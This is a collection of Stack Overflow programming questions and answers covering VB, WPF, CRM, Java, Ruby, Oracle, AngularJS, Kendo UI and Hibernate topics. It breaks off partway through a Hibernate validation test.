9533408	0	Converting time so it can used in a Integer <p>I'm working on some code in VB that can get the average time from the speed of button press. I've got the maths done however I'm having a problem converting a TimeSpan declaration into a Integer where it can be divided and made into a average. Can you please help. Thanks!</p> <p>Maths for code:</p> <p><strong>2nd click</strong></p> <pre><code>click count = 2 average= current time / 1 so current = time \ click count - 1 </code></pre> <p><strong>3rd click</strong></p> <pre><code>adveragetime + Current Time \ clickcount - 1 </code></pre> <p><strong>4th click</strong></p> <pre><code>average time * (click count -2) + Current Time \ clickcount -1 </code></pre>
23344254	0	 <p>[Adding this here since you want a way to do it purely in XAML. I think that insisting on pure XAML here is not essential and @bit's answer is the right way to go, IMO.]</p> <p>You can use style to have triggers that do the change.</p> <p>Let's say your UC is called <code>MyUC</code> and currently you have an instance of it similar to: <code>&lt;local:MyUC/&gt;</code> in some other view/UC/window. You can change the instance to look like so:</p> <pre><code>&lt;local:MyUC&gt; &lt;local:MyUC.Style&gt; &lt;Style TargetType="{x:Type local:MyUC}"&gt; &lt;Setter Property="DataContext" Value="{Binding SelectedItem, ElementName=MyDataGrid}"/&gt; &lt;Style.Triggers&gt; &lt;DataTrigger Binding="{Binding ElementName=MyCheckbox, Path=IsChecked}" Value="True"&gt; &lt;Setter Property="DataContext" Value="{Binding APerson}"/&gt; &lt;/DataTrigger&gt; &lt;/Style.Triggers&gt; &lt;/Style&gt; &lt;/local:MyUC.Style&gt; &lt;/local:MyUC&gt; </code></pre> <p>I'm changing here the data context property, but you can change any other dependency property on <code>MyUC</code>.</p> <p>Again, I think this is a less favorite approach to tackle this functionality, but it's pure XAML.</p>
11635412	0	Ribbon button should be hidden based on lead status - CRM 2011 <p>I have custom button in lead ribbon. The custom button should be hidden when lead is qualified. How can I do that? Can any one please explain. I appreciate. </p>
30391341	0	 <p>You could try writing a small wrapper around the <code>List</code> of your object type, and giving it a string based <code>[]</code> overloaded accessor. Like this:</p> <pre><code>public class ComplexType { public string PropertyName { get; set; } public string Layer { get; set; } public string DisplayName { get; set; } } public class DebuggableList : List&lt;ComplexType&gt; { public ComplexType this[string key] { get { return this.FirstOrDefault(i =&gt; i.PropertyName == key); } } } class Program { static void Main(string[] args) { var myList= new DebuggableList(); myList.Add(new ComplexType { DisplayName = "XXX", Layer = "YYY", PropertyName = "ZZZ" }); myList.Add(new ComplexType { DisplayName = "AAA", Layer = "BBB", PropertyName = "CCC" }); myList.Add(new ComplexType { DisplayName = "DDD", Layer = "EEE", PropertyName = "FFF" }); } } </code></pre> <p>In the watch window, you can then access your desired object using <code>myList["XXX"]</code>, and the object with <code>PropertyName</code>=="XXX" will be displayed.</p>
3581176	0	 <p>Not without writing it somewhere. You have the following options:</p> <p>1- Write it to a file (or touch a file and check for its existence)</p> <p>2- Manually update a CONFIG file with a GLOBAL variable </p> <p>3- Use a database.</p>
26779155	0	Can't edit Security Roles from Non-Default Business Unit <p>When "customising the system" in Dynamics 2013, I cannot see any roles outside of the default business unit (even if I move my "System, Customiser user" to the business unit in question. I have tried a solution and the defauilt solution. How do you see all roles in all business units to customise the roles?</p>
33854390	0	FFMPEG: How to encode for seekable video at high key frame interval <p>I'm looking for an ffmpeg comand that's best used if I'm controlling a video to mouse control on "requestAnimationFrame". Basically, it needs to be fast-seeking and encoded at a high key frame interval. I can't seem to nail down what parameters aid in fast-seeking and high key frames. </p> <p>thanks! Johnny</p>
8009131	0	 <p>We use nsb_$endpoint_$function where $function = error or audit. $function is left off for just the endpoint. We also make this match the Display Name and Service Name when installing the host. Our admins like being able to match the process to the service and then to the queue.</p>
13678635	0	 <p>One solution can be <code>NSNotifications</code>. Post a notification when mute button is tapped and add observer on each of the view where you want play/mute sounds.</p> <p>See this <a href="http://iphonebyradix.blogspot.com/2011/07/nsnotificationcenter-tutorial.html" rel="nofollow">NSNotificationCenter Tutorial</a> for how to post and add observe for <code>NSNotification</code></p>
25718273	0	 <p>change below code</p> <pre><code> $http.get('http://localhost/json/search.php', { params: searchkeyword }, </code></pre> <p>to </p> <pre><code> $http.get('http://localhost/json/search.php', { params: $scope.searchkeyword }, </code></pre>
31979638	0	 <p>Using following methods you could identify how GC behaves on weak references. Option 1:</p> <p>-verbose:gc </p> <p>This argument record GC behaviour whenever GC kicks into picture. You could take the log file when you want to check did GC gets into action, It could be checked from the GC logs. For Interactive GC analysis try the log with <a href="http://www.ibm.com/developerworks/java/jdk/tools/gcmv/" rel="nofollow">http://www.ibm.com/developerworks/java/jdk/tools/gcmv/</a> </p> <p>Option 2 :</p> <p>Collect Heap dump and user event and load it in <a href="https://www.ibm.com/developerworks/java/jdk/tools/memoryanalyzer/" rel="nofollow">https://www.ibm.com/developerworks/java/jdk/tools/memoryanalyzer/</a></p> <p>Write OQL(Object Query language) on OQL section select * from package(s).classname and click on ! on the tool bar It will give list of objects of that type Right click on the objects -> Path to GC roots -> Exclude soft/weak/Phantom references If suspect object does not have any strong reference then it will show NULL else you will get information on who is holding the strong references on the suspected object.</p>
8091042	0	Extract DataTable values using Linq "C#" <p>I have a datatable dtRecords with values like this:</p> <p><strong>RollNo</strong> <strong>Name</strong></p> <p>120 john</p> <p>121 johney</p> <p>122 sam </p> <p>I want to add those values in a list box like the below format.</p> <p>RollNo:[RollNo] , Name: [Name] </p> <p>Note : [RollNo] is ColumnName Identification Format</p> <p><strong>Expected output:</strong></p> <p>RollNo: 120 ,Name: John</p> <p>RollNo: 121 ,Name: Johney</p> <p>I can achieve this using a for loop but is there some other way such as using linq or any other concept.</p> <p>Please include examples with your suggestions.</p> <p>I tried using the linq code below but I didn't get the proper output. </p> <pre><code>string mystring="RollNo:[RollNo] , Name: [Name]"; List&lt;DataColumn&gt; cols = ClsGlobal.dtRecords.Columns.Cast&lt;DataColumn&gt;().ToList(); dtRecords.AsEnumerable().ToList().ForEach(r =&gt; cols.ForEach(c =&gt;listBox1.Items.Add(mystring.Replace("[" + c.ColumnName + "]", r[c.ColumnName].ToString())))); </code></pre>
1958343	0	A little php help with this string formatting <p>I have a string in this format:</p> <pre><code> /SV/temp_images/766321929_2.jpg </code></pre> <p>Is there any small piece of code to get the numbers BEFORE the underscore, BUT AFTER temp_images/? In this case I want to get <strong>766321929</strong> only... ?</p> <p>Thanks</p>
30748583	0	MySQL select as special and the output exclude null version <p>This is my sql statement, as you can see the the select SELECT category as special, how can I only get special is NOT NULL.</p> <pre><code>SELECT p.product_id, (SELECT price FROM oc_product_special ps WHERE ps.product_id = p.product_id AND ps.customer_group_id = '1' AND ((ps.date_start = '0000-00-00' OR ps.date_start &lt; NOW()) AND (ps.date_end = '0000-00-00' OR ps.date_end &gt; NOW())) ORDER BY ps.priority ASC, ps.price ASC LIMIT 1) AS special FROM oc_product_to_category p2c LEFT JOIN oc_product p ON (p2c.product_id = p.product_id) WHERE AND p.status = '1' AND p.date_available &lt;= NOW() AND p2c.category_id = '20' GROUP BY p.product_id ORDER BY p.sort_order ASC LIMIT 0,5 </code></pre> <p>With above statement, I have the following output: <img src="https://i.stack.imgur.com/3MDsz.png" alt="enter image description here"></p> <p>I tried add the WHERE after the date_available, then I got no result out. I try to use <code>special</code> IS NOT NULL it showed: Unknown column 'special' in 'where clause'</p> <p>Anyone can help in this matter? Thanks!</p>
21928273	0	Object Oriented JavaScript: the patterns for private/public <p>All-</p> <p>There is a classic pattern of implementing information hiding in Javascript as described by the great Douglas Crockford here:</p> <p><a href="http://javascript.crockford.com/private.html" rel="nofollow">http://javascript.crockford.com/private.html</a></p> <p>I am also aware of another one I demonstrate here: <a href="http://jsfiddle.net/TvsW6/4/" rel="nofollow">http://jsfiddle.net/TvsW6/4/</a></p> <p>And summarized as such:</p> <pre><code>function LogSystem(anotherPrivateVar) { //. . var _setting1; this.setting2; function _printLog(msg) { $("#" + _divId).append(msg + "&lt;br/&gt;"); }; return { printLog :function(msg) { console.log("PRINTING:" + msg); _printLog(msg); }, logSetting_pub: function() { this.printLog("PUB: Setting1 is: " + _setting1); this.printLog("PUB: Setting2 is: " + this.setting2); } //.. }; }; </code></pre> <h2>QUESTIONS</h2> <p>Are there any other patterns beside these two that implement public and private methods and members in JavaScript? And are there names for these two patterns? And do you have a preference for the two (or more!)</p> <p>Thank you so much for your help. I am finding that knowing advanced topics in raw JavaScript are rare skills and I'd like to have them!</p>
13138156	0	 <p>If you need to avoid the final slide back to the first and just restart, I would suggest a slight change over Pushpesh's answer:</p> <pre><code>$(document).ready(function() { var currentPosition = 0; var slideWidth = 500; var slides = $('.slide'); var numberOfSlides = slides.length; var slideShowInterval; var speed = 900; var lastSlideReached = false; slides.wrapAll('&lt;div id="slidesHolder"&gt;&lt;/div&gt;'); slides.css({ 'float' : 'left' }); $('#slidesHolder').css('width', slideWidth * numberOfSlides); slideShowInterval = setInterval(changePosition, speed); function changePosition() { if( ! lastSlideReached ) { if(currentPosition == (numberOfSlides-1)) { lastSlideReached = true; } else { currentPosition++; } moveSlide(); } else { resetSlide() } } function moveSlide() { $('#slidesHolder').animate({'marginLeft' : slideWidth*(-currentPosition)}); } function resetSlide(){ currentPosition = 0; $('#slidesHolder').css('marginLeft', currentPosition ); lastSlideReached = false; } </code></pre> <p>});​</p> <p>cheers</p>
17220303	0	GCC - error while compiling <p>I try to create an exe program, by compiling codes in assembler and C:</p> <p>gcc -m32 aaa aaa.s aaa.c</p> <p>And I get an error:</p> <p>gcc: aaa : No such file or directory</p> <p>In C file a only include stdio.h. I've read that the problem might be that gcc can't find this library, but i'm not sure if that's the case and even if so, what should I do to make it work?</p>
19192220	0	 <p>There's no need for inheritance here. Just use <code>std::function</code> to store the member function pointers and <code>std::bind</code> to bind together the member function pointer and the object instance.</p> <pre><code>#include &lt;functional&gt; #include &lt;map&gt; #include &lt;string&gt; #include &lt;iostream&gt; struct Apple { void Red () { std::cout &lt;&lt; "aa\n"; } }; struct Orange { void Blue () { std::cout &lt;&lt; "bb\n"; } }; int main() { std::map&lt;std::string, std::function&lt;void()&gt;&gt; m; Apple a; Orange o; m["apple"] = std::bind(&amp;Apple::Red, a); m["orange"] = std::bind(&amp;Orange::Blue, o); m["apple"](); m["orange"](); } </code></pre> <p>Output:</p> <pre><code>aa bb </code></pre>
1721525	0	 <p>No, you can't, but you can pass the <code>:allow_nil =&gt; true</code> option to return nil if the master is nil.</p> <pre><code>class User &lt; ActiveRecord::Base delegate :company, :to =&gt; :master, :allow_nil =&gt; true # ... end user.master = nil user.company # =&gt; nil user.master = &lt;#User ...&gt; user.company # =&gt; ... </code></pre> <p>Otherwise, you need to write your own custom method instead using the delegate macro for more complex options.</p> <pre><code>class User &lt; ActiveRecord::Base # ... def company master.company if has_master? end end </code></pre>
5667859	0	 <p>Use the same genre array that backs the genre tables as the data source for the modal table. In the modal table didSelectRowWIthIndexPath, get the genre string from that array. Now you have lots of choices for how to get the genre item back to your detail table view controller. You could post a notification, you could use a KeyValue Observer, you could pass a reference to the detail VC to the modal and then the modal can set an exposed attribute on the detail VC, etc. Then the detail vc would add that genre value to whatever array is back it's data, and then you call reloadData on the detail VC table. Your modal VC would have to do something like [navigationController popViewController:animated] to dismiss itself.</p>
11052078	0	SQL Server factors that can contribute to high CPU usage <p>I am trying to figure out or enlist factors that contribute to persistent high CPU utilization related to SQL Server</p> <p>Here are few that I came up with</p> <p>a) Compilation or Frequent Recompilation of stored procs or queries</p> <p>b) Poor performing queries that perform huge sort or ended up using Hash Join </p> <p>c) Parallelism (multiple threads are span so it can keep CPU busy)</p> <p>d) Looping construct in T-SQL for e.g. WHILE Loop or use of CURSOR</p> <p>e) Missing or inappropriate indexes that leads to table scan</p> <p>What are other SQL server operations can lead for a high CPU use? </p>
8435774	0	 <p>Check out <a href="http://incubator.apache.org/lucene.net/" rel="nofollow">lucene.net</a>. While it won't directly integrate with your collection you can index things in memory using the RAMDirectory. </p>
21981708	0	Grails - How to check, if a link is pointed to correct location using Geb? <p>I have a link <code>&lt;a herf="redirect_url" class="class_name"&gt;link&lt;/a&gt;</code> that is pointed to some page. How can i check if, the link is pointed to correct location using Geb?</p>
16984929	0	double array in cell, how to indexing? <p>I have an cell including array as below format</p> <pre><code>a{x,y,z}(i,j) </code></pre> <p>a is 3 dimensional cell and each cell have i*j array</p> <pre><code>a &lt;79x95x68 cell&gt; val(:,:,1) = Columns 1 through 2 [6x6 double] [6x6 double] [6x6 double] [6x6 double] [6x6 double] [6x6 double] </code></pre> <p>i want to rearrange that as below format</p> <pre><code>a{i,j}(x,y,z) </code></pre> <p>how to? any good idea? i have to do iteration?</p> <p>matlab say, a{:,:}(x,y,z) is bad cell referencing.........</p>
37010539	0	Wrong button sizes while using wpf xceed toolkit wizard <p>I'm using the wizard from the wpf xceed toolkit. The problem is that the buttons are not the same sizes. All examples I can find show the buttons the same sizes. When I use it, the Cancel and Finish buttons are larger, and the Cancel button is clipped on the left side. Has anyone else experienced this, and do you have solutions? </p> <p>Thanks.</p>
33479106	0	 <p>You never define <code>data_from_file</code>, you just try to read from it in the <code>contects_from_file</code> method.</p> <p>Perhaps you meant <code>numbers_from_file</code> instead of <code>data_from_file</code>?</p>
33538956	0	 <p>The syntax as the following:</p> <pre><code>ObjectName obj=Class.forName("object name full name").newInstance(); </code></pre> <p>For example, you have class named Car, which is resided in com.toyota package. Then you can instantiate Car object using the following statement:</p> <pre><code>Car car=(Car)Class.forName("com.toyota.Car").newInstance(); </code></pre>
8191465	0	 <p>I don't think <code>ping</code> is a useful test -- ICMP packets are often dropped on the floor these days -- it isn't the reliable diagnostic that it once was. Sure, if it responds, you've got that -- but if you get a timeout, the most likely answer is a firewall (perhaps Amazon's group policies) <code>DROP</code>s the packet on the floor.</p> <p>Incidentally:</p> <pre><code>$ host bret-truchan.com $ host www.bret-truchan.com www.bret-truchan.com is an alias for bret-truchan.com.s3-website-us-east-1.amazonaws.com. bret-truchan.com.s3-website-us-east-1.amazonaws.com is an alias for s3-website-us-east-1.amazonaws.com. s3-website-us-east-1.amazonaws.com has address 207.171.163.1 $ HEAD www.bret-truchan.com 404 Not Found Date: Sat, 19 Nov 2011 02:35:15 GMT Server: AmazonS3 Client-Date: Sat, 19 Nov 2011 02:35:15 GMT Client-Peer: 207.171.163.213:80 Client-Response-Num: 1 Client-Transfer-Encoding: chunked X-Amz-Error-Code: NoSuchBucket X-Amz-Error-Detail-BucketName: www.bret-truchan.com X-Amz-Error-Message: The specified bucket does not exist X-Amz-Id-2: MKHMddVEYia5cV0iU33QLg7vt6FgM69jyu+jKjTsh1aVuUR8seGwQQT2sfZrSlu9 X-Amz-Request-Id: 6681133093178B5F </code></pre> <p>If anything, it looks like the hostname <code>www.bret-truchan.com</code> is being used for the bucket -- and you said the bucket was named <code>bret-truchan.com</code> instead. That is probably the reason for the <code>404</code> response.</p> <p>But the dropped <code>ping</code> packets are probably due to Amazon's firewalling.</p>
38485812	0	 <p>I believe this is happening because of caching in Google Play App. Usually, Google Play app cache refreshes once every 24 hours. </p> <p>@poqueque's solution works if you want to clear cache through command line. You can also goto App settings on the phone and clear data/cache of Google Play app. Make sure to log back into your Google Play account after you do this. </p> <p>Does anyone know a solution to force refresh Google Play cache through code or query purchases without using cache to get up to date info? </p>
27561164	0	 <p>Here is an answer using <a href="http://jsoup.org/download" rel="nofollow">Jsoup</a> and <a href="http://mvnrepository.com/artifact/org.json/json/20140107" rel="nofollow">JSON</a> as dependencies: </p> <pre><code>final String HTML = "&lt;table cellspacing=\"0\" style=\"height: 24px;\"&gt;\r\n&lt;tr class=\"tr-hover\"&gt;\r\n&lt;th rowspan=\"15\" scope=\"row\"&gt;Network&lt;/th&gt;\r\n&lt;td class=\"ttl\"&gt;&lt;a href=\"network-bands.php3\"&gt;Technology&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\"nfo\"&gt;&lt;a href=\"#\" class=\"link-network-detail collapse\"&gt;GSM&lt;/a&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr class=\"tr-toggle\"&gt;\r\n&lt;td class=\"ttl\"&gt;&lt;a href=\"network-bands.php3\"&gt;2G bands&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\"nfo\"&gt;GSM 900 / 1800 - SIM 1 &amp; SIM 2&lt;/td&gt;\r\n&lt;/tr&gt; \r\n&lt;tr class=\"tr-toggle\"&gt;\r\n&lt;td class=\"ttl\"&gt;&lt;a href=\"glossary.php3?term=gprs\"&gt;GPRS&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\"nfo\"&gt;Class 12&lt;/td&gt;\r\n&lt;/tr&gt; \r\n&lt;tr class=\"tr-toggle\"&gt;\r\n&lt;td class=\"ttl\"&gt;&lt;a href=\"glossary.php3?term=edge\"&gt;EDGE&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\"nfo\"&gt;Yes&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;"; Document document = Jsoup.parse(HTML); Element table = document.select("table").first(); String arrayName = table.select("th").first().text(); JSONObject jsonObj = new JSONObject(); JSONArray jsonArr = new JSONArray(); Elements ttls = table.getElementsByClass("ttl"); Elements nfos = table.getElementsByClass("nfo"); JSONObject jo = new JSONObject(); for (int i = 0, l = ttls.size(); i &lt; l; i++) { String key = ttls.get(i).text(); String value = nfos.get(i).text(); jo.put(key, value); } jsonArr.put(jo); jsonObj.put(arrayName, jsonArr); System.out.println(jsonObj.toString()); </code></pre> <p>Output (formatted):</p> <pre><code>{ "Network": [ { "2G bands": "GSM 900 / 1800 - SIM 1 &amp; SIM 2", "Technology": "GSM", "GPRS": "Class 12", "EDGE": "Yes" } ] } </code></pre>
7849410	0	Already initialized constant warnings <p>I'm using Nokogiri code to extract text between HTML nodes, and getting these errors when I read in a list of files. I didn't get the errors using simple embedded HTML. I'd like to eliminate or suppress the warnings but don't know how. The warnings come at the end of each block:</p> <pre><code>extract.rb:18: warning: already initialized constant EXTRACT_RANGES extract.rb:25: warning: already initialized constant DELIMITER_TAGS </code></pre> <p>Here is my code:</p> <pre><code>#!/usr/bin/env ruby -wKU require 'rubygems' require 'nokogiri' require 'fileutils' source = File.open('/documents.txt') source.readlines.each do |line| line.strip! if File.exists? line file = File.open(line) doc = Nokogiri::HTML(File.read(line)) # suggested by dan healy, stackoverflow # Specify the range between delimiter tags that you want to extract # triple dot is used to exclude the end point # 1...2 means 1 and not 2 EXTRACT_RANGES = [ 1...2 ] # Tags which count as delimiters, not to be extracted DELIMITER_TAGS = [ "h1", "h2", "h3" ] extracted_text = [] i = 0 # Change /"html"/"body" to the correct path of the tag which contains this list (doc/"html"/"body").children.each do |el| if (DELIMITER_TAGS.include? el.name) i += 1 else extract = false EXTRACT_RANGES.each do |cur_range| if (cur_range.include? i) extract = true break end end if extract s = el.inner_text.strip unless s.empty? extracted_text &lt;&lt; el.inner_text.strip end end end end print("\n") puts line print(",\n") # Print out extracted text (each element's inner text is separated by newlines) puts extracted_text.join("\n\n") end end </code></pre>
22385125	0	 <p>The problem was with my properties. When I've omited <code>set</code>, I got this error...</p> <pre><code>[DataContract] public class YoloClassRO { private int k = 42; [DataMember] public int K { get { return k; } } } [DataContract] public class YoloClassRW { private int k = 42; [DataMember] public int K { get { return k; } set { k = value; } } } </code></pre> <p><code>YoloClassRW</code> - works</p> <p><code>YoloClassRO</code> - not</p> <p>Well described <a href="http://stackoverflow.com/questions/1873741/wcf-exposing-readonly-datamember-properties-without-set">Exposing readonly DataMember properties without set</a>.</p>
40149	0	 <p>Something like this should be good:</p> <pre><code>MyConfigurationDialog dialog = new MyConfigurationDialog(); //Copy the dictionary so that the dialog can't mess with our settings dialog.Settings = new Dictionary(existingSettings); if(DialogResult.OK == dialog.Show()) { //grab the settings that the dialog may have changed existingSettings["setting1"] = dialog.Settings["setting1"]; existingSettings["setting2"] = dialog.Settings["setting2"]; } </code></pre>
17252426	0	 <p>WinRT has <code>GetFileFromPathAsync()</code> method of class <code>StorageFile</code>, but you can not open any file with that method. Only option you have is to use <code>StorageItemMostRecentlyUsedList</code> class. Which is useful to get the token for all the files that was saved to either <a href="http://msdn.microsoft.com/en-us/library/windows/apps/windows.storage.accesscache.storageapplicationpermissions.mostrecentlyusedlist" rel="nofollow">most recently used files list</a> or <a href="http://msdn.microsoft.com/en-us/library/windows/apps/windows.storage.accesscache.storageapplicationpermissions.futureaccesslist" rel="nofollow">future access list</a>. To save token for the which was accessed from <code>FileOpenPicker</code>, you need to use <code>StorageApplicationPermissions</code> class. Here I'm giving you how to save token for a file &amp; how to retrieve token for &amp; access that file.</p> <p>To save token</p> <pre><code>FileOpenPicker openPicker = new FileOpenPicker(); openPicker.ViewMode = PickerViewMode.Thumbnail; openPicker.SuggestedStartLocation = PickerLocationId.PicturesLibrary; openPicker.FileTypeFilter.Add(".jpg"); openPicker.FileTypeFilter.Add(".jpeg"); openPicker.FileTypeFilter.Add(".png"); StorageFile file = await openPicker.PickSingleFileAsync(); if (file != null) { // Add to most recently used list with metadata (For example, a string that represents the date) string mruToken = Windows.Storage.AccessCache.StorageApplicationPermissions.MostRecentlyUsedList.Add(file, "20130622"); // Add to future access list without metadata string faToken = Windows.Storage.AccessCache.StorageApplicationPermissions.FutureAccessList.Add(file); } else { // The file picker was dismissed with no file selected to save } </code></pre> <p>To retrieve file using token</p> <p><s>StorageItemMostRecentlyUsedList MRU = new StorageItemMostRecentlyUsedList();</p> <p>StorageFile file = await MRU.GetFileAsync(token);</s></p> <p><strong>UPDATE</strong></p> <pre><code>await StorageApplicationPermissions.MostRecentlyUsedList.GetFileAsync(token); </code></pre>
15832273	0	 <p>Maybe set up a regular view controller. Then add a collection view, make the cell very large. In that collection view cell add a label on the side (this will become the light blue box). Then right next to it add a table view with sections. The header would be the red and dark blue area.</p> <p>This would work, but you need the flexibility of starting as a view controller, and doing the collection and table view through delegates</p>
8014250	0	 <p>The problem is caused because the address you use to start tomcat (in normal or debug mode) is already taken by another process.</p> <p>You need to check the ports you are using in the you conf file (e.g. your_TOMCAT_HOME_DIR_/conf/server.xml), to see if they are not already used </p> <p>Here you can look at the port used for</p> <ul> <li>starting Tomcat: default value 8080 </li> <li>stopping Tomcat: default value 8005</li> <li>using with AJP protocoll: default value 8009</li> </ul> <p>and if you are using Tomcat in debug mode (through jdpa or jdwp ), please make sure to use a different port than all the previous configured ports</p>
3326797	0	 <p>You could add <code>line-height:30px;</code> to your <code>li</code> elements, (<em>the same as the height of the menu bar</em>)</p> <p><strong><a href="http://www.jsfiddle.net/d5jTf/" rel="nofollow noreferrer">Demo</a></strong></p>
23504102	0	 <p>Instead of <code>Redirect</code> you can use <code>RedirectMatch</code> directive for its regex capability:</p> <pre><code>RedirectMatch 301 ^/cars/?$ https://www.mydomain.com/cars/carshome/ </code></pre>
24668733	0	 <p>I made a silly mistake: I was using the wrong root XSD.</p> <p>As such, the solution was to define a root XSD containing the DocHeader.xsd and the DocBody.xsd as components.</p>
15030909	0	 <p>CallumD's solution worked for me, and seemed the most consistent with the techniques recommended in the rest of Michael Hartl's tutorial. But I wanted to tighten up the syntax a little to make it more consistent with the other specs in the same tutorial:</p> <pre><code>it "should not be able to delete itself" do expect { delete user_path(admin) }.not_to change(User, :count) end </code></pre>
10152052	0	 <p>You can send a direct update statement to the Oracle Engine in this way.</p> <pre><code>using (OracleConnection cnn = new OracleConnection(connString)) using (OracleCommand cmd = new OracleCommand("UPDATE TABLE1 SET BIRHDATE=:NewDate WHERE ID=:ID", cnn)) { cmd.Parameters.AddWithValue(":NewDate", YourDateTimeValue); cmd.Parameters.AddWithValue(":ID", 111); cnn.Open(); cmd.ExecuteNonQuery(); } </code></pre> <p>EDIT:</p> <p>If you don't know which fields are changed (and don't want to use a ORM Tool) then you need to keep the original DataSource (a datatable, dataset?) used to populate initially your fields. Then update the related row and use a OracleDataAdapter.</p> <pre><code>using(OracleConnection cnn = new OracleConnection(connString)) using (OracleCommand cmd = new OracleCommand("SELECT * FROM TABLE1 WHERE 1=0", cnn)) { OracleAdapter adp = new OracleDataAdapter(); adp.SelectCommand = cmd; // The OracleDataAdapter will build the required string for the update command // and will act on the rows inside the datatable who have the // RowState = RowState.Changed Or Inserted Or Deleted adp.Update(yourDataTable); } </code></pre> <p>Keep in mind that this approach is inefficient because it requires two trip to the database. The first to discover your table structure, the second to update the row/s changed. Moreover, for the OracleDataAdapter to prepare the UpdateCommand/InsertCommand/DeleteCommand required, it needs a primary key in your table.</p> <p>On the contrary, this is handy if you have many rows to update.</p> <p>The last alternative (and probably the fastest) is a StoredProcedure, but in this case you need to go back to my first example and adapt the OracleCommand to use a StoredProcedure, (Add all fields as parameters, change CommandType to CommandType.StoredProcedure and change the text of the command to be the name of the StoredProcedure). Then the StoredProcedure will choose which fields need to be updated. </p>
3698683	0	 <p>You should replace the ArrayList with an ObservableCollection&lt;string&gt; which will communicate to the ListBox when its contents change.</p>
22352969	0	 <p>You just need to specify the <code>&lt;th&gt;</code> tag when you <code>bind</code> the <code>click event</code>.</p> <p><em>Updated link:</em></p> <p>Here is <strong><a href="http://jsfiddle.net/VB5um/1/" rel="nofollow">a simple example.!</a></strong></p> <p><em>Another Update</em></p> <p>and here is <strong><a href="http://jsfiddle.net/Sbb5Z/1283/" rel="nofollow">another example</a></strong> according your requirement you only need to change</p> <p>this:</p> <pre><code>$(document).bind('contextmenu', function (event){ $("#contextmenu").kendoMenu({ position: "relative", orientation: "vertical"}).show(); event.preventDefault(); }); </code></pre> <p>to this:</p> <pre><code>$(".k-header").bind('contextmenu', function (event){ $("#contextmenu").kendoMenu({ position: "relative", orientation: "vertical"}).show(); event.preventDefault(); }); </code></pre>
23753887	0	While converting date string into Date object getting NaN-NaN-NaN in Jquery? <p>Jquery + rails 4 + Mac + Safari</p> <pre><code>&lt;script&gt; function get_next_week_schedule(pre_date_index){ var date = $('#next_week_'+ pre_date_index).attr('value'); alert(date); //2014-06-02 var myDate = new Date(date); alert(myDate); // NaN-NaN-NaN } &lt;/script&gt; </code></pre> <p>This script is running on Mozilla and crome but while using Mac OS and Safari Browser its showing NaN-NaN-NaN while conversion of date string to Date Object. </p>
29126463	0	Angularjs $scope is confusing me <p>I really need some help here... I´m trying for hours now and can´t get it to work...</p> <p>I have a .json file with 100 products like this:</p> <pre><code>[{ "ean": "3613132010420", "brand": "NewBrand", "desc": "A description", "feature1": "", "feature2": "", "feature3": "", "feature4": "", "feature5": "", "img": "", "metric": { "gender": "female", }, "score":"" }, { "ean": "3613132010420", "brand": "NewBrand", "desc": "A description", "feature1": "", "feature2": "", "feature3": "", "feature4": "", "feature5": "", "img": "", "metric": { "gender": "female", }, "score":"" }] </code></pre> <p>I read the json with $http and put everything in $scope.products. The data is shown in a list, everything is fine. Now I want to filter the products and alter the score variable (after swipe on a option slider). </p> <p>The view should then also be updated due to the angular data-binding.</p> <p>How can I change this variable in the $scope? This is what I tried and nothing works:</p> <pre><code>$('.find-style-slider .slick-list').bind('touchstart click', function(){ angular.forEach($scope.products, function(value, key) { $scope.products[key].score = '25'; //nothing happens var obj = { score: '25' }; $scope.products[key].push(obj); //Uncaught TypeError: undefined is not a function $scope.products.splice(key, 0, obj); //no error but $scope variable does not change $scope.products[key].unshift(obj); //Uncaught TypeError: undefined is not a function }); }); </code></pre> <p>Do I need to update something or $apply()? I would be thankful for any help/hint...</p> <p><strong>Edit:</strong> I think the $scope is not working like I thought.... I fill the $scope.products with a service:</p> <pre><code>productService.initDb().then(function(products) { $scope.products = products; }); </code></pre> <p>When I put this </p> <pre><code> var obj = { score: '25' }; $scope.products.splice(0, 0, obj); </code></pre> <p>INSIDE the initDb function then the first elements gets updated! But not outside.</p> <p>The question is now: WHY? And how can I access the $scope.products from outside the service function?</p> <p>I thought the $scope is the same for the whole controller... <em>confused</em></p>
15691866	0	 <p>Basically you need to find the li.k-item and pass it to the select method. Here comes the jQuery:</p> <pre><code>var ts = $('#tabstrip').data().kendoTabStrip; var item = ts.tabGroup.find(':contains("What you look for")'); ts.select(item); </code></pre>
6342781	0	javax.validation.ConstraintValidationException: validation failed for classes <p>I am developing a web application using <code>Spring 3.1</code>, <code>Hibernate 3</code> and <code>Hibernate Validator</code> 4 in the backend. I'm using <code>JSR 303</code> for the validation. This is done via annotations in the domain class.</p> <pre><code> public class StaffMember implements Serializable { @NotNull @Size(max = 30) // All letters, spaces and hyphens are allowed @Pattern(regexp = "^[^0-9_.]+$", message = ("Es sind nur Buchstaben, Leerzeichen und Bindestrich erlaubt.")) private String firstname; } </code></pre> <p>I have written a test class for testing the CRUD operations in the DAO class. This class runs without errors for valid data. Now I want to edit an existing object. Therefore I change the first name. I specify an invalid name because I want to write a negative test case.</p> <pre><code>// Allows Spring to configure the test @RunWith(SpringJUnit4ClassRunner.class) // Define which configuration should be used @ContextConfiguration(locations = { "classpath:portal-test.xml" }) @TransactionConfiguration(transactionManager = "transactionManager", defaultRollback=false) // All methods are transactional @Transactional public class StaffMemberDAOTest { private StaffMember staffMember, nextStaffMember; @Autowired private StaffMemberDAO staffMemberDao; @Autowired private Validator validator; @Test(expected = ConstraintViolationException.class) @Transactional @Rollback(true) public void testUpdateStaffMemberWithInvalidData() { System.out.println("--- update a staffMember (with invalid data) ---"); // check if database is empty Assert.assertEquals(0, staffMemberDao.getAllStaffMembers().size()); // add staffMember createStaffMember(); // validate Set&lt;ConstraintViolation&lt;StaffMember&gt;&gt; violations = validator .validate(staffMember); // object is valid if(violations.size() == 0) { staffMemberDao.addStaffMember(staffMember); } else { System.out.println("Object is not valid."); } // get staffMember StaffMember staffMemberExpected = staffMemberDao.getStaffMember(staffMember.getStaffMemberID()); // check data Assert.assertEquals(staffMember, staffMemberExpected); // edit data staffMemberExpected.setFirstname("George No 1"); // validate Set&lt;ConstraintViolation&lt;StaffMember&gt;&gt; violationsUpdate = validator .validate(staffMemberExpected); // object is valid if(violationsUpdate.size() == 0) { 